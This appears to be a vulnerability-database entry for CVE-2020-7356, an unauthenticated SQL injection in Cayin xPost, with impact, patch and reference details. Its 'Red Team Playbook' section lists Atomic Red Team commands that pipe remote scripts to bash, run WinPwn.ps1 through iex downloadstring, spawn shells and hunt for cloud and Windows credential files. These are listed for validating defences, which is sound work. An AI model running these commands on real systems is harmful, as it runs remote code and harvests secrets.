CVE-2020-7356
Overview
This vulnerability is an unauthenticated SQL Injection affecting the Cayin xPost product. The root cause lies in insufficient input sanitization of the 'wayfinder_seqid' GET parameter within the wayfinder_meeting_input.jsp component. This improper handling allows untrusted input to be directly incorporated into SQL queries without validation or escaping.
Vulnerability Description
CAYIN xPost suffers from an unauthenticated SQL Injection vulnerability. Input passed via the GET parameter 'wayfinder_seqid' in wayfinder_meeting_input.jsp is not properly sanitized before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and execute SYSTEM commands.
Impact
An unauthenticated attacker with network access can exploit this flaw to execute arbitrary SQL queries and escalate to system-level command execution on the affected server. This enables unauthorized data disclosure, modification, and potential full system compromise. The vulnerability requires no user interaction and no privileges (CVSS vector AV:N/AC:L/PR:N/UI:N), making it highly exploitable in real-world scenarios, threatening confidentiality and integrity of the deployed environment.
Solution
Apply the security updates provided by Cayin Technology for xPost versions 1.0, 2.0, and 2.5.18103 as detailed in the ZeroScience advisory (ZSL-2020-5571) and the Metasploit framework pull request #13607. These updates address input validation and sanitize the 'wayfinder_seqid' parameter. Administrators should consult the vendor's official patch release notes and deploy the latest fixed versions promptly to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in CAYIN xPost is characterized by an unauthenticated SQL Injection flaw, specifically affecting the 'wayfinder_seqid' parameter in the wayfinder_meeting_input.jsp file. This vulnerability arises from inadequate input validation and sanitization processes, allowing attackers to manipulate SQL queries executed by the application. When user-supplied input is incorporated into SQL statements without proper filtering, it opens the door for malicious actors to inject arbitrary SQL code. This can lead to unauthorized access to the database, data exfiltration, and even the execution of system-level commands, significantly compromising the integrity and confidentiality of the system.
Exploitation of this vulnerability can occur through various attack vectors, primarily by crafting malicious HTTP requests that include specially designed payloads in the GET parameter. An attacker could leverage tools such as SQLMap or custom scripts to automate the injection process, probing the application for weaknesses. Once the SQL injection is successful, the attacker can manipulate the database to retrieve sensitive information, alter records, or even execute system commands that could lead to a complete system compromise. Scenarios may include retrieving user credentials, accessing sensitive business data, or deploying further malicious payloads within the compromised environment.
The real-world impact of this vulnerability is profound, especially for organizations relying on CAYIN xPost for digital signage and content management. A successful exploitation could lead to significant data breaches, resulting in financial losses, reputational damage, and potential legal ramifications due to non-compliance with data protection regulations. The high CVSS score of 9.8 indicates a critical risk level, suggesting that organizations must prioritize remediation efforts. The ability for an attacker to execute system commands further amplifies the threat, as it could allow for lateral movement within the network, escalating privileges, and compromising additional systems.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate SQL injection vulnerabilities before they can be exploited. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious traffic and blocking known attack patterns. Furthermore, developers should adopt secure coding practices, such as using parameterized queries and prepared statements, which can effectively prevent SQL injection attacks by ensuring that user input is treated as data rather than executable code. Continuous monitoring of application logs for unusual activity can also aid in early detection of attempted exploits.
In conclusion, the unauthenticated SQL Injection vulnerability in CAYIN xPost represents a critical security risk that can have severe implications for affected organizations. By understanding the technical details, potential attack vectors, and real-world impacts, businesses can better prepare their defenses. Implementing robust detection and mitigation strategies will not only protect sensitive data but also enhance the overall security posture against evolving threats in the cybersecurity landscape.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cayintech | Xpost | 1.0 |
cpe:2.3:a:cayintech:xpost:1.0:*:*:*:*:*:*:*
|
|
|
Cayintech | Xpost | 2.0 |
cpe:2.3:a:cayintech:xpost:2.0:*:*:*:*:*:*:*
|
|
|
Cayintech | Xpost | 2.5.18103 |
cpe:2.3:a:cayintech:xpost:2.5.18103:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Cayin xPost wayfinder_seqid SQLi to RCE
exploits/windows/http/cayin_xpost_sql_rce
|
h00die, Gjoko Krstic (LiquidWorm) <[email protected]> | Unknown | java, win | View |
Threat Feed
1 eventsPublic exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-7356 |
| zeroscience.mk |
GitHub CVE
x_refsource_MISC
|
https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5571.php |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/rapid7/metasploit-framework/pull/13607 |